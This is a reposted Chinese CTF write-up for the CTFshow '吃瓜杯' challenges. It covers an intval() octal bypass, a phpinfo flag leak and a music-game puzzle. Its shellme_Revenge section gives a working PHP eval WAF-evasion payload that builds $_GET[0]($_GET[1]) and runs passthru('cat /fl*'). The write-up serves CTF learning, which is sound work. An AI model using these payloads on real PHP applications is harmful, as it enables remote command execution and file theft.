[CTFshow]吃瓜杯复现wp

Posted huamanggg

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[CTFshow]吃瓜杯复现wp相关的知识,希望对你有一定的参考价值。

热身

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

要求num不是4467,还要求num里面不能有字母和点,还要求不能开头是0
最后,若过了这个intval就给flag
这里主要考察了一个intval的性质

如果 base 是 0,通过检测 var 的格式来决定使用的进制:
1.如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,
2.如果字符串以 “0” 开始,使用 8 进制(octal);
3.否则,将使用 10 进制 (decimal)。

明显不能用0x,那么就用八进制绕过第一层,但是开头不能是0
那么就搞一个%20开头就成功绕过了

?num=%20010574

shellme

一打开就是phpinfo界面
一搜flag就出来了🤣

shellme_Revenge

好家伙,这过滤的还剩啥了

找来找去只有这个phpinfo,我都怀疑要去session_upload了,后来翻到一个hint

?looklook=1

得到源码

<?php
error_reporting(0);
if ($_GET['looklook']){
    highlight_file(__FILE__);
}else{
    setcookie("hint", "?looklook", time()+3600);
}
if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) || strlen($ctfshow) <= 107) {
        if (!preg_match("/[!@#%^&*:'\\"|`a-zA-BD-Z~\\\\\\\\]|[4-9]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("fucccc hacker!!");
        }
    }
} else {

    phpinfo();
}
?>

这个waf这里a-zA-BD-Z,唯独漏一个C,这就很迷了,而且前面有长度限制,这就很难不想到是利用自增来拼接
但是如果硬要从C开始自增的话,那肯定是超过长度的,那么这里就有两个小技巧了
这篇文章有写到(也是原题)

$_=C/C ---> NAN
$_=1/C ---> INF

但是这不是string类型,但在php里面,我们可以通过拼接一个字符串来让他转成String类型
比如这里我写如下代码

<?php

$a = (C/C.C);
$b = (1/C.C);
var_dump($a);
var_dump($b);


成功得到string类型,这里我们就使用索引就可以单选中字母了

这样做就可以从N开始递增了,避开了长度的限制

我们需要拼接出一个_GET来,下划线是没有被ban的,可以直接拼接,我们就需要利用三个变量去分别构造成G,E,T三个字母,T离C太远,这里就用NAN来自增绕过
构造如下代码:

$_=C;++$_;$__=++$_;++$_;$C=++$_;$_=(C/C.C)[0];++$_;++$_;++$_;++$_;++$_;$_=_.$C.$__.++$_;

成功构造

payload:

$_=C;++$_;$__=++$_;++$_;$C=++$_;$_=(C/C.C)[0];++$_;++$_;++$_;++$_;++$_;$_=_.$C.$__.++$_;$$_[0]($$_[1]);

构造了一个$_GET[0]($_GET[1])
命令也是成功执行了

在这题里面,发现系统命令函数他有一个没被ban掉,passthru

利用这个构造payload
GET

?looklook=1&0=passthru&1=cat /fl*

POST

ctf_show=%24_%3DC%3B%2B%2B%24_%3B%24__%3D%2B%2B%24_%3B%2B%2B%24_%3B%24C%3D%2B%2B%24_%3B%24_%3D(C%2FC.C)%5B0%5D%3B%2B%2B%24_%3B%2B%2B%24_%3B%2B%2B%24_%3B%2B%2B%24_%3B%2B%2B%24_%3B%24_%3D_.%24C.%24__.%2B%2B%24_%3B%24%24_%5B0%5D(%24%24_%5B1%5D)%3B

Music Game

解压出来是一个img镜像,挂载后看到里面有个文件夹,看起来有flag似的

里面除了一些没有flag的txt,还有两张可疑的文件后缀,mc和mcz


下载这个游戏,导入谱子,果然flag在这

谱子就是flag

ctfshow{bgm_is_nice}

以上是关于[CTFshow]吃瓜杯复现wp的主要内容,如果未能解决你的问题,请参考以下文章

CTFSHOW框架复现篇

CTFSHOW框架复现篇

CTFshow刷题日记-WEB-JAVA(web279-300)Struts2全漏洞复现,Java漏洞复现

ctfshow中Misc入门WP

CTFshow月饼杯(第二届) 中秋快乐 部分wp

CTFshow菜狗杯-misc-wp(详解 脚本 过程 全)